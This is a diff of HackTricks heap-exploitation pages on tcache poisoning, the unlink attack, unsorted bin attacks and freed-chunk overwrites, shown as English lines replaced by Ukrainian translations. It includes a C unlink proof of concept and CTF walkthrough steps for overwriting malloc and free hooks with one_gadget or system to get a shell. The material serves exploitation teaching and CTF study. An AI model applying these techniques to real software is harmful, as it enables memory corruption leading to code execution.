- І ще один шматок 0x200 виділяється, і chunk2 знищується, і тому немає ніякого витоку, і це не працює? Можливо, це не слід робити.
- Потім виділяється ще один шматок з 0x58 "a"s (перезаписуючи chunk2 і досягаючи chunk5) і змінюється `fd` швидкого бінарного шматка chunk5, вказуючи на `__malloc_hook`.
- Потім виділяється шматок 0x68, так що фейковий швидкий бінарний шматок у `__malloc_hook` є наступним швидким бінарним шматком.
- Нарешті, виділяється новий швидкий бінарний шматок 0x68, і `__malloc_hook` перезаписується адресою `one_gadget`.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,23 +1,23 @@
# Overwriting a freed chunk
# Перезапис звільненого блоку
{{#include ../../banners/hacktricks-training.md}}
Several of the proposed heap exploitation techniques need to be able to overwrite pointers inside freed chunks. The goal of this page is to summarise the potential vulnerabilities that could grant this access:
Декілька з запропонованих технік експлуатації купи потребують можливості перезаписувати вказівники всередині звільнених блоків. Мета цієї сторінки - підсумувати потенційні вразливості, які можуть надати цей доступ:
### Simple Use After Free
### Просте Використання Після Звільнення
If it's possible for the attacker to **write info in a free chunk**, they could abuse this to overwrite the needed pointers.
Якщо зловмисник може **записати інформацію в звільнений блок**, він може зловживати цим, щоб перезаписати потрібні вказівники.
### Double Free
### Подвійне Звільнення
If the attacker can **`free` two times the same chunk** (free other chunks in between potentially) and make it be **2 times in the same bin**, it would be possible for the user to **allocate the chunk later**, **write the needed pointers** and then **allocate it again** triggering the actions of the chunk being allocated (e.g. fast bin attack, tcache attack...)
Якщо зловмисник може **`free` двічі той самий блок** (можливо, звільняючи інші блоки між цим) і зробити так, щоб він був **2 рази в одному і тому ж біні**, користувач зможе **вилучити блок пізніше**, **записати потрібні вказівники** і потім **знову його виділити**, викликавши дії блоку, що виділяється (наприклад, атака швидкого біна, атака tcache...)
### Heap Overflow
### Переповнення Купи
It might be possible to **overflow an allocated chunk having next a freed chunk** and modify some headers/pointers of it.
Можливо, що **переповнити виділений блок, маючи поруч звільнений блок** і змінити деякі заголовки/вказівники цього блоку.
### Off-by-one overflow
### Переповнення на Один
In this case it would be possible to **modify the size** of the following chunk in memory. An attacker could abuse this to **make an allocated chunk have a bigger size**, then **`free`** it, making the chunk been **added to a bin of a different** size (bigger), then allocate the **fake size**, and the attack will have access to a **chunk with a size which is bigger** than it really is, **granting therefore an overlapping chunks situation**, which is exploitable the same way to a **heap overflow** (check previous section).
У цьому випадку буде можливим **змінити розмір** наступного блоку в пам'яті. Зловмисник може зловживати цим, щоб **зробити виділений блок більшим**, потім **`free`** його, змушуючи блок бути **доданим до біна іншого** розміру (більшого), потім виділити **фальшивий розмір**, і атака отримає доступ до **блоку з розміром, який більший**, ніж він насправді є, **надаючи таким чином ситуацію з перекритими блоками**, яка експлуатується так само, як і **переповнення купи** (перевірте попередній розділ).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,44 +4,44 @@
## Basic Information
For more information about what is a Tcache bin check this page:
Для отримання додаткової інформації про те, що таке Tcache bin, перегляньте цю сторінку:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
First of all, note that the Tcache was introduced in Glibc version 2.26.
По-перше, зверніть увагу, що Tcache був введений у версії Glibc 2.26.
The **Tcache attack** (also known as **Tcache poisoning**) proposed in the [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) is very similar to the fast bin attack where the goal is to overwrite the pointer to the next chunk in the bin inside a freed chunk to an arbitrary address so later it's possible to **allocate that specific address and potentially overwrite pointes**.
**Tcache attack** (також відомий як **Tcache poisoning**), запропонований на [**сторінці guyinatuxido**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html), дуже схожий на fast bin attack, де мета полягає в переписуванні вказівника на наступний chunk у bin всередині звільненого chunk на довільну адресу, щоб пізніше можна було **виділити цю конкретну адресу і потенційно переписати вказівники**.
However, nowadays, if you run the mentioned code you will get the error: **`malloc(): unaligned tcache chunk detected`**. So, it's needed to write as address in the new pointer an aligned address (or execute enough times the binary so the written address is actually aligned).
Однак, в даний час, якщо ви запустите згаданий код, ви отримаєте помилку: **`malloc(): unaligned tcache chunk detected`**. Тому потрібно записати в новий вказівник вирівняну адресу (або виконати бінарний файл достатню кількість разів, щоб записана адреса насправді була вирівняна).
### Tcache indexes attack
Usually it's possible to find at the beginning of the heap a chunk containing the **amount of chunks per index** inside the tcache and the address to the **head chunk of each tcache index**. If for some reason it's possible to modify this information, it would be possible to **make the head chunk of some index point to a desired address** (like `__malloc_hook`) to then allocated a chunk of the size of the index and overwrite the contents of `__malloc_hook` in this case.
Зазвичай на початку купи можна знайти chunk, що містить **кількість chunk'ів на індекс** всередині tcache та адресу **головного chunk'а кожного індексу tcache**. Якщо з якоїсь причини можливо змінити цю інформацію, можна **зробити так, щоб головний chunk деякого індексу вказував на бажану адресу** (таку як `__malloc_hook`), щоб потім виділити chunk розміру індексу та переписати вміст `__malloc_hook` у цьому випадку.
## Examples
- CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html)
- **Libc info leak**: It's possible to fill the tcaches, add a chunk into the unsorted list, empty the tcache and **re-allocate the chunk from the unsorted bin** only overwriting the first 8B, leaving the **second address to libc from the chunk intact so we can read it**.
- **Tcache attack**: The binary is vulnerable a 1B heap overflow. This will be abuse to change the **size header** of an allocated chunk making it bigger. Then, this chunk will be **freed**, adding it to the tcache of chunks of the fake size. Then, we will allocate a chunk with the faked size, and the previous chunk will be **returned knowing that this chunk was actually smaller** and this grants up the opportunity to **overwrite the next chunk in memory**.\
We will abuse this to **overwrite the next chunk's FD pointer** to point to **`malloc_hook`**, so then its possible to alloc 2 pointers: first the legit pointer we just modified, and then the second allocation will return a chunk in **`malloc_hook`** that it's possible to abuse to write a **one gadget**.
- **Libc info leak**: Можна заповнити tcaches, додати chunk у несортований список, очистити tcache та **перевиділити chunk з несортованого bin**, переписуючи лише перші 8B, залишаючи **другу адресу до libc з chunk'а недоторканою, щоб ми могли її прочитати**.
- **Tcache attack**: Бінарний файл вразливий до 1B heap overflow. Це буде використано для зміни **заголовка розміру** виділеного chunk'а, роблячи його більшим. Потім цей chunk буде **звільнений**, додавши його до tcache chunk'ів фальшивого розміру. Потім ми виділимо chunk з фальшивим розміром, і попередній chunk буде **повернуто, знаючи, що цей chunk насправді був меншим**, що дає можливість **переписати наступний chunk в пам'яті**.\
Ми будемо зловживати цим, щоб **переписати вказівник FD наступного chunk'а**, щоб вказувати на **`malloc_hook`**, так що потім можливо виділити 2 вказівники: спочатку легітимний вказівник, який ми щойно змінили, а потім друге виділення поверне chunk у **`malloc_hook`**, який можна зловживати для запису **one gadget**.
- CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html)
- **Libc info leak**: There is a use after free and a double free. In this writeup the author leaked an address of libc by readnig the address of a chunk placed in a small bin (like leaking it from the unsorted bin but from the small one)
- **Tcache attack**: A Tcache is performed via a **double free**. The same chunk is freed twice, so inside the Tcache the chunk will point to itself. Then, it's allocated, its FD pointer is modified to point to the **free hook** and then it's allocated again so the next chunk in the list is going to be in the free hook. Then, this is also allocated and it's possible to write a the address of `system` here so when a malloc containing `"/bin/sh"` is freed we get a shell.
- **Libc info leak**: Є використання після звільнення та подвійне звільнення. У цьому звіті автор злив адресу libc, читаючи адресу chunk'а, розміщеного в малому bin (як зливати її з несортованого bin, але з малого).
- **Tcache attack**: Tcache виконується через **подвійне звільнення**. Один і той же chunk звільняється двічі, тому всередині Tcache chunk вказує на себе. Потім він виділяється, його вказівник FD змінюється, щоб вказувати на **free hook**, а потім він знову виділяється, тому наступний chunk у списку буде в free hook. Потім це також виділяється, і тут можна записати адресу `system`, так що коли malloc, що містить `"/bin/sh"`, буде звільнено, ми отримаємо shell.
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps0/index.html)
- The main vuln here is the capacity to `free` any address in the heap by indicating its offset
- **Tcache indexes attack**: It's possible to allocate and free a chunk of a size that when stored inside the tcache chunk (the chunk with the info of the tcache bins) will generate an **address with the value 0x100**. This is because the tcache stores the amount of chunks on each bin in different bytes, therefore one chunk in one specific index generates the value 0x100.
- Then, this value looks like there is a chunk of size 0x100. Allowing to abuse it by `free` this address. This will **add that address to the index of chunks of size 0x100 in the tcache**.
- Then, **allocating** a chunk of size **0x100**, the previous address will be returned as a chunk, allowing to overwrite other tcache indexes.\
For example putting the address of malloc hook in one of them and allocating a chunk of the size of that index will grant a chunk in calloc hook, which allows for writing a one gadget to get a s shell.
- Основна вразливість тут полягає в можливості `free` будь-якої адреси в купі, вказуючи її зсув
- **Tcache indexes attack**: Можна виділити та звільнити chunk розміру, який, коли зберігається всередині tcache chunk (chunk з інформацією про tcache bins), генеруватиме **адресу зі значенням 0x100**. Це тому, що tcache зберігає кількість chunk'ів у кожному bin в різних байтах, тому один chunk в одному конкретному індексі генерує значення 0x100.
- Тоді це значення виглядає так, ніби є chunk розміру 0x100. Дозволяючи зловживати цим, звільняючи цю адресу. Це **додасть цю адресу до індексу chunk'ів розміру 0x100 у tcache**.
- Потім, **виділяючи** chunk розміру **0x100**, попередня адреса буде повернута як chunk, що дозволяє переписати інші індекси tcache.\
Наприклад, помістивши адресу malloc hook в один з них і виділивши chunk розміру цього індексу, ми отримаємо chunk у calloc hook, що дозволяє записати one gadget для отримання shell.
- CTF [https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html](https://guyinatuxedo.github.io/44-more_tcache/csaw19_popping_caps1/index.html)
- Same vulnerability as before with one extra restriction
- **Tcache indexes attack**: Similar attack to the previous one but using less steps by **freeing the chunk that contains the tcache info** so it's address is added to the tcache index of its size so it's possible to allocate that size and get the tcache chunk info as a chunk, which allows to add free hook as the address of one index, alloc it, and write a one gadget on it.
- Та ж вразливість, що й раніше, з одним додатковим обмеженням
- **Tcache indexes attack**: Схожий напад на попередній, але з меншим числом кроків, звільняючи chunk, що містить інформацію про tcache, так що його адреса додається до індексу tcache свого розміру, тому можливо виділити цей розмір і отримати інформацію про tcache chunk як chunk, що дозволяє додати free hook як адресу одного індексу, виділити його та записати one gadget на ньому.
- [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
- **Write After Free** to add a number to the `fd` pointer.
- A lot of **heap feng-shui** is needed in this challenge. The writeup shows how **controlling the head of the Tcache** free-list is pretty handy.
- **Glibc leak** through `stdout` (FSOP).
- **Tcache poisoning** to get an arbitrary write primitive.
- **Write After Free** для додавання числа до вказівника `fd`.
- Потрібно багато **heap feng-shui** в цьому завданні. Звіт показує, як **контроль голови Tcache** free-list є досить зручним.
- **Glibc leak** через `stdout` (FSOP).
- **Tcache poisoning** для отримання довільного запису.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,14 +4,13 @@
## Basic Information
When this attack was discovered it mostly allowed a WWW (Write What Where), however, some **checks were added** making the new version of the attack more interesting more more complex and **useless**.
Коли ця атака була виявлена, вона в основному дозволяла WWW (Write What Where), однак деякі **перевірки були додані**, що зробило нову версію атаки більш цікавою, більш складною та **марною**.
### Code Example:
<details>
<summary>Code</summary>
```c
#include <unistd.h>
#include <stdlib.h>
@ -21,109 +20,108 @@ When this attack was discovered it mostly allowed a WWW (Write What Where), howe
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10]; // padding
};
int main() {
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
unsigned long long *chunk1, *chunk2;
struct chunk_structure *fake_chunk, *chunk2_hdr;
char data[20];
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// First grab two chunks (non fast)
chunk1 = malloc(0x8000);
chunk2 = malloc(0x8000);
printf("Stack pointer to chunk1: %p\n", &chunk1);
printf("Chunk1: %p\n", chunk1);
printf("Chunk2: %p\n", chunk2);
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// Assuming attacker has control over chunk1's contents
// Overflow the heap, override chunk2's header
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// First forge a fake chunk starting at chunk1
// Need to setup fd and bk pointers to pass the unlink security check
fake_chunk = (struct chunk_structure *)chunk1;
fake_chunk->size = 0x8000;
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Next modify the header of chunk2 to pass all security checks
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
// This results in chunk1 pointer pointing to chunk1 - 3
// i.e. chunk1[3] now contains chunk1 itself.
// We then make chunk1 point to some victim's data
free(chunk2);
printf("Chunk1: %p\n", chunk1);
printf("Chunk1[3]: %x\n", chunk1[3]);
chunk1[3] = (unsigned long long)data;
chunk1[3] = (unsigned long long)data;
strcpy(data, "Victim's data");
strcpy(data, "Victim's data");
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
// Overwrite victim's data using chunk1
chunk1[0] = 0x002164656b636168LL;
printf("%s\n", data);
printf("%s\n", data);
return 0;
return 0;
}
```
</details>
- Attack doesn't work if tcaches are used (after 2.26)
- Атака не працює, якщо використовуються tcaches (після 2.26)
### Goal
### Мета
This attack allows to **change a pointer to a chunk to point 3 addresses before of itself**. If this new location (surroundings of where the pointer was located) has interesting stuff, like other controllable allocations / stack..., it's possible to read/overwrite them to cause a bigger harm.
Ця атака дозволяє **змінити вказівник на шматок, щоб він вказував на 3 адреси перед собою**. Якщо це нове місце (околиці, де знаходився вказівник) містить цікаві дані, такі як інші контрольовані алокації / стек..., можна їх прочитати/перезаписати, щоб завдати більшої шкоди.
- If this pointer was located in the stack, because it's now pointing 3 address before itself and the user potentially can read it and modify it, it will be possible to leak sensitive info from the stack or even modify the return address (maybe) without touching the canary
- In order CTF examples, this pointer is located in an array of pointers to other allocations, therefore, making it point 3 address before and being able to read and write it, it's possible to make the other pointers point to other addresses.\
As potentially the user can read/write also the other allocations, he can leak information or overwrite new address in arbitrary locations (like in the GOT).
- Якщо цей вказівник знаходився в стеці, оскільки тепер він вказує на 3 адреси перед собою, і користувач потенційно може його прочитати та змінити, буде можливим витік чутливої інформації зі стеку або навіть змінити адресу повернення (можливо), не торкаючись канарки.
- У прикладах CTF цей вказівник знаходиться в масиві вказівників на інші алокації, тому, зробивши його вказівником на 3 адреси перед собою і маючи можливість читати та записувати, можна змусити інші вказівники вказувати на інші адреси.\
Оскільки користувач також може читати/записувати інші алокації, він може витікати інформацію або перезаписувати нові адреси в довільних місцях (наприклад, у GOT).
### Requirements
### Вимоги
- Some control in a memory (e.g. stack) to create a couple of chunks giving values to some of the attributes.
- Stack leak in order to set the pointers of the fake chunk.
- Деякий контроль у пам'яті (наприклад, стек), щоб створити кілька шматків, задаючи значення деяким з атрибутів.
- Витік зі стеку для налаштування вказівників фальшивого шматка.
### Attack
### Атака
- There are a couple of chunks (chunk1 and chunk2)
- The attacker controls the content of chunk1 and the headers of chunk2.
- In chunk1 the attacker creates the structure of a fake chunk:
- To bypass protections he makes sure that the field `size` is correct to avoid the error: `corrupted size vs. prev_size while consolidating`
- and fields `fd` and `bk` of the fake chunk are pointing to where chunk1 pointer is stored in the with offsets of -3 and -2 respectively so `fake_chunk->fd->bk` and `fake_chunk->bk->fd` points to position in memory (stack) where the real chunk1 address is located:
- Є кілька шматків (chunk1 і chunk2)
- Атакуючий контролює вміст chunk1 і заголовки chunk2.
- У chunk1 атакуючий створює структуру фальшивого шматка:
- Щоб обійти захист, він переконується, що поле `size` правильне, щоб уникнути помилки: `corrupted size vs. prev_size while consolidating`
- і поля `fd` та `bk` фальшивого шматка вказують на те, де зберігається вказівник chunk1 з офсетами -3 і -2 відповідно, так що `fake_chunk->fd->bk` і `fake_chunk->bk->fd` вказують на позицію в пам'яті (стек), де знаходиться реальна адреса chunk1:
<figure><img src="../../images/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
- The headers of the chunk2 are modified to indicate that the previous chunk is not used and that the size is the size of the fake chunk contained.
- When the second chunk is freed then this fake chunk is unlinked happening:
- `fake_chunk->fd->bk` = `fake_chunk->bk`
- `fake_chunk->bk->fd` = `fake_chunk->fd`
- Previously it was made that `fake_chunk->fd->bk` and `fake_chunk->bk->fd` point to the same place (the location in the stack where `chunk1` was stored, so it was a valid linked list). As **both are pointing to the same location** only the last one (`fake_chunk->bk->fd = fake_chunk->fd`) will take **effect**.
- This will **overwrite the pointer to chunk1 in the stack to the address (or bytes) stored 3 addresses before in the stack**.
- Therefore, if an attacker could control the content of the chunk1 again, he will be able to **write inside the stack** being able to potentially overwrite the return address skipping the canary and modify the values and points of local variables. Even modifying again the address of chunk1 stored in the stack to a different location where if the attacker could control again the content of chunk1 he will be able to write anywhere.
- Note that this was possible because the **addresses are stored in the stack**. The risk and exploitation might depend on **where are the addresses to the fake chunk being stored**.
- Заголовки chunk2 модифікуються, щоб вказати, що попередній шматок не використовується і що розмір є розміром фальшивого шматка.
- Коли другий шматок звільняється, цей фальшивий шматок відключається, відбувається:
- `fake_chunk->fd->bk` = `fake_chunk->bk`
- `fake_chunk->bk->fd` = `fake_chunk->fd`
- Раніше було зроблено так, що `fake_chunk->fd->bk` і `fake_chunk->bk->fd` вказують на те саме місце (місце в стеці, де зберігався `chunk1`, тому це був дійсний зв'язаний список). Оскільки **обидва вказують на те саме місце**, лише останнє (`fake_chunk->bk->fd = fake_chunk->fd`) матиме **ефект**.
- Це **перезапише вказівник на chunk1 у стеці на адресу (або байти), збережені на 3 адреси перед у стеці**.
- Тому, якщо атакуючий знову зможе контролювати вміст chunk1, він зможе **записувати всередині стеку**, потенційно перезаписуючи адресу повернення, пропускаючи канарку, і змінюючи значення та вказівники локальних змінних. Навіть знову змінюючи адресу chunk1, збережену в стеці, на інше місце, де, якщо атакуючий знову зможе контролювати вміст chunk1, він зможе записувати куди завгодно.
- Зверніть увагу, що це було можливим, оскільки **адреси зберігаються в стеці**. Ризик і експлуатація можуть залежати від **де зберігаються адреси фальшивого шматка**.
<figure><img src="../../images/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
## References
## Посилання
- [https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit)
- Although it would be weird to find an unlink attack even in a CTF here you have some writeups where this attack was used:
- CTF example: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
- In this example, instead of the stack there is an array of malloc'ed addresses. The unlink attack is performed to be able to allocate a chunk here, therefore being able to control the pointers of the array of malloc'ed addresses. Then, there is another functionality that allows to modify the content of chunks in these addresses, which allows to point addresses to the GOT, modify function addresses to egt leaks and RCE.
- Another CTF example: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
- Just like in the previous example, there is an array of addresses of allocations. It's possible to perform an unlink attack to make the address to the first allocation point a few possitions before starting the array and the overwrite this allocation in the new position. Therefore, it's possible to overwrite pointers of other allocations to point to GOT of atoi, print it to get a libc leak, and then overwrite atoi GOT with the address to a one gadget.
- CTF example with custom malloc and free functions that abuse a vuln very similar to the unlink attack: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
- There is an overflow that allows to control the FD and BK pointers of custom malloc that will be (custom) freed. Moreover, the heap has the exec bit, so it's possible to leak a heap address and point a function from the GOT to a heap chunk with a shellcode to execute.
- Хоча було б дивно знайти атаку unlink навіть у CTF, тут ви маєте кілька звітів, де ця атака була використана:
- Приклад CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14_stkof/index.html)
- У цьому прикладі, замість стеку є масив адрес malloc'ed. Атака unlink виконується, щоб мати можливість виділити шматок тут, отже, контролюючи вказівники масиву malloc'ed адрес. Потім є ще одна функціональність, яка дозволяє змінювати вміст шматків у цих адресах, що дозволяє вказувати адреси на GOT, змінювати адреси функцій для отримання витоків і RCE.
- Ще один приклад CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16_note2/index.html)
- Як і в попередньому прикладі, є масив адрес алокацій. Можна виконати атаку unlink, щоб зробити адресу до першої алокації вказувати на кілька позицій перед початком масиву і перезаписати цю алокацію в новій позиції. Таким чином, можна перезаписати вказівники інших алокацій, щоб вказувати на GOT функції atoi, вивести її, щоб отримати витік libc, а потім перезаписати GOT atoi адресою до одного гаджета.
- Приклад CTF з кастомними функціями malloc і free, які зловживають вразливістю, дуже схожою на атаку unlink: [https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index.html)
- Є переповнення, яке дозволяє контролювати вказівники FD і BK кастомного malloc, які будуть (кастомно) звільнені. Більше того, купа має біт exec, тому можливо витікати адресу купи і вказувати функцію з GOT на шматок купи з shellcode для виконання.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,70 +4,70 @@
## Basic Information
For more information about what is an unsorted bin check this page:
Для отримання додаткової інформації про те, що таке unsorted bin, перегляньте цю сторінку:
{{#ref}}
bins-and-memory-allocations.md
{{#endref}}
Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense.
Unsorted списки можуть записувати адресу в `unsorted_chunks (av)` в адресі `bk` частини. Тому, якщо зловмисник може **модифікувати адресу вказівника `bk`** в частині всередині unsorted bin, він може **записати цю адресу в довільну адресу**, що може бути корисним для витоку адрес Glibc або обходу деяких захистів.
So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A typical target is **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin atack to a fast bin attack).
Отже, в основному, ця атака дозволяє **встановити велике число за довільною адресою**. Це велике число є адресою, яка може бути адресою купи або адресою Glibc. Типовою метою є **`global_max_fast`**, щоб дозволити створювати fast bin з більшими розмірами (і перейти від атаки unsorted bin до атаки fast bin).
> [!TIP]
> T> aking a look to the example provided in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) and using 0x4000 and 0x5000 instead of 0x400 and 0x500 as chunk sizes (to avoid Tcache) it's possible to see that **nowadays** the error **`malloc(): unsorted double linked list corrupted`** is triggered.
> Переглядаючи приклад, наведений у [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) і використовуючи 0x4000 і 0x5000 замість 0x400 і 0x500 як розміри частин (щоб уникнути Tcache), можна побачити, що **сьогодні** помилка **`malloc(): unsorted double linked list corrupted`** викликається.
>
> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena.
> Отже, ця атака unsorted bin тепер (серед інших перевірок) також вимагає можливості виправити подвійну зв'язку, щоб це було обійдено `victim->bk->fd == victim` або не `victim->fd == av (arena)`, що означає, що адреса, куди ми хочемо записати, повинна мати адресу фальшивої частини в її позиції `fd`, а фальшива частина `fd` вказує на арену.
> [!CAUTION]
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.**
> Зверніть увагу, що ця атака пошкоджує unsorted bin (отже, і маленькі, і великі). Тому ми можемо лише **використовувати алокації з fast bin зараз** (більш складна програма може виконувати інші алокації і зламатися), і для цього ми повинні **алокувати той же розмір, інакше програма зламається.**
>
> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed.
> Зверніть увагу, що перезапис **`global_max_fast`** може допомогти в цьому випадку, довіряючи, що fast bin зможе впоратися з усіма іншими алокаціями, поки експлуатація не буде завершена.
The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`**
Код від [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) пояснює це дуже добре, хоча якщо ви модифікуєте malloc для алокації пам'яті достатнього розміру, щоб не закінчити в Tcache, ви можете побачити, що раніше згадана помилка з'являється, запобігаючи цій техніці: **`malloc(): unsorted double linked list corrupted`**
## Unsorted Bin Infoleak Attack
This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\
Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**.
Це насправді дуже базова концепція. Частини в unsorted bin будуть мати вказівники. Перша частина в unsorted bin насправді буде мати **`fd`** і **`bk`** посилання **вказуючи на частину основної арени (Glibc)**.\
Отже, якщо ви можете **помістити частину всередину unsorted bin і прочитати її** (використання після звільнення) або **знову алокувати її без перезапису принаймні 1 з вказівників**, щоб потім **прочитати** її, ви можете отримати **витік інформації Glibc**.
A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\
Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked.
Схожа [**атака, використана в цьому описі**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), полягала в зловживанні структурою з 4 частин (A, B, C і D - D лише для запобігання консолідації з верхньою частиною), тому для переповнення нульовим байтом у B було використано, щоб C вказувала, що B не використовується. Також у B дані `prev_size` були модифіковані, тому розмір замість розміру B був A+B.\
Потім C була звільнена і консолідована з A+B (але B все ще використовувалася). Була алокована нова частина розміру A, а потім адреси libc були записані в B, звідки вони були витіковані.
## References & Other examples
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
- The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled.
- It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size.
- The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones.
- Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10`
- Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag.
- Мета полягає в тому, щоб перезаписати глобальну змінну значенням, більшим за 4869, щоб отримати прапор, і PIE не увімкнено.
- Можна генерувати частини довільних розмірів, і є переповнення купи з бажаним розміром.
